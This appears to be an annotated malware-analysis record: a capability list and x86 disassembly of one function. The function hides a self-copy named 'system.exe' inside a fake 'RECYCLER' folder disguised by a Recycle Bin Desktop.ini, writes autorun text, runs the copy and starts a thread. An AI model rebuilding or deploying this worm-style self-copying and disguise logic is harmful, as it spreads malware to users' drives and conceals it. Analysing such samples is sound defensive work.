Function at 0x4022c2
Capabilities:
Copy file
Create directory
Create process on windows
Create thread
Delete file
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x41c
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x418], eax
mov ax, word [0x4044c0]
push ebx
push ebp
push esi
push edi
mov word [esp + 0x220], ax
xor ebx, ebx
mov al, byte [0x4044c2]
push 0x101
mov byte [esp + 0x226], al
lea eax, [esp + 0x227]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x11c]
mov esi, 0x104
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebp, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea eax, [esp + 0x220]
push eax
lea eax, [esp + 0x1c]
push esi
push eax
call ebp
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea eax, [esp + 0x24]
push str.RECYCLER
push esi
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [esp + 0x30]
add esp, 0x18
push ebx
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x18]
push 7
push eax
call ebx
push str.S_1_6_21_2434476501_1644491937_600003330_1213
lea eax, [esp + 0x1c]
push 0x104
push eax
call edi
add esp, 0xc
lea eax, [esp + 0x18]
push 0
push eax
call esi
push 7
lea eax, [esp + 0x1c]
push eax
call ebx
lea eax, [esp + 0x18]
mov ebx, 0x104
push eax
lea eax, [esp + 0x328]
push ebx
push eax
call ebp
push str.Desktop.ini
lea eax, [esp + 0x334]
push ebx
push eax
call edi
add esp, 0x18
xor eax, eax
push eax
push 6
push 2
push eax
push eax
push 0x40000000
lea eax, [esp + 0x33c]
push eax
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x402409
mov ecx, str._.ShellClassInfo__r_nCLSID645FF040_5081_101B_9F08_00AA002F954E
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4023e5
push 0
lea eax, [esp + 0x14]
sub ecx, edx
push eax
push ecx
push str._autorun__r_nopen
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4044c4
mov esi, 0x104
lea eax, [esp + 0x1c]
push esi
push eax
call edi
push str.system.exe
lea eax, [esp + 0x28]
push esi
push eax
call edi
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x138]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
add esp, 0x20
test eax, eax
je 0x4024a0
push 0x80
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor esi, esi
lea eax, [esp + 0x18]
push esi
push eax
lea eax, [esp + 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x120]
push 0x104
push eax
call ebp
add esp, 0xc
lea eax, [esp + 0x18]
push esi
push esi
push esi
push eax
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x4024a2
xor esi, esi
push esi
push esi
push 4
push esi
push 1
push closesocket
lea eax, [esp + 0x134]
push eax
call ebx
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x14]
push eax
push esi
push esi
push 0x4024f0
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x428]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00402f90
add esp, 0x41c
ret